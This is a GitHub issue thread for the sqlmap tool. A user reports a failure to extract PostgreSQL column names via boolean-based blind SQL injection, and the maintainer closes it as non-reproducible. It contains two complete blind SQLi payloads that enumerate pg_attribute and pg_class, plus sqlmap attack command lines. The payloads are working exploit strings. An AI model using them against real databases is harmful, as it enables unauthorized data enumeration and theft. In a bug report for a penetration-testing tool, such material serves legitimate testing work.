Unable to retrieve column names - Boolean-based Blind in PostgreSQL

[victorcamposm]

Describe the bug
sqlmap is not able to extract column names while exploiting boolean-based blind sqli in postgresql. It works smooth for extracting database names, user, hostname, etc. Checking the verbose mode, the payload seems not to be working correctly.
The payload used by sqlmap (not working):

' AND ASCII(SUBSTRING((SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON pg_class.oid=pg_attribute.attrelid 
WHERE pg_class.relnamespace=pg_namespace.oid AND pg_type.oid=pg_attribute.atttypid AND attnum>0 AND pg_class.relname='<table_name>' AND nspname='<schema_name>')::text FROM 1 FOR 1))>0 AND 'CxED'='CxED

Working payload:

' AND ASCII(SUBSTRING((SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0  AND a.relname='<table_name>' AND nspname='<schema_name>' LIMIT 1)::text FROM 1 FOR 1))>0 AND 'CxED'='CxED

To Reproduce

1. Run sqlmap -r 1.sql --force-ssl --dbs --no-cast -D <schema_name> -T <table_name> --columns --technique B -v 3
2. See error
   [ERROR] unable to retrieve the number of columns for table '<table_name>' in database '<schema_name>'

Expected behavior
Be able to extract columns names, the same way it is extracting other information like schema name and others.

Screenshots

Running environment:

• sqlmap version 1.2.4#stable
• Installation method: apt
• Operating system: Ubuntu 18.04
• Python version 3.6.9

Target details:

• DBMS: PostgreSQL
• SQLi techniques found by sqlmap: boolean-based blind
• WAF/IPS: N/A
• Relevant console output [if any]
• Exception traceback [if any]
  [ERROR] unable to retrieve the number of columns for table '<table_name>' in database '<schema_name>'

Additional context
While testing the payloads, I wrote my own script for exploiting the sql injection with the "fixed" payload. I put the link in case it is useful.
https://github.com/victorcamposm/sqlinjector

[stamparm]

python sqlmap.py -u "http://debiandev/sqlmap/pgsql/get_int.php?id=1" -z "flu,bat,tec=B" -D public -T users --columns --no-cast -v 3

Closing this down as non-eproduciable as this issue explicitly claims sqlmap is not able to extract column names while exploiting boolean-based blind sqli in postgresql.

[stamparm]

Please do a proper debugging (e.g. --parse-errors or -t traffic.txt) before claiming that the whole functionality simply doesn't work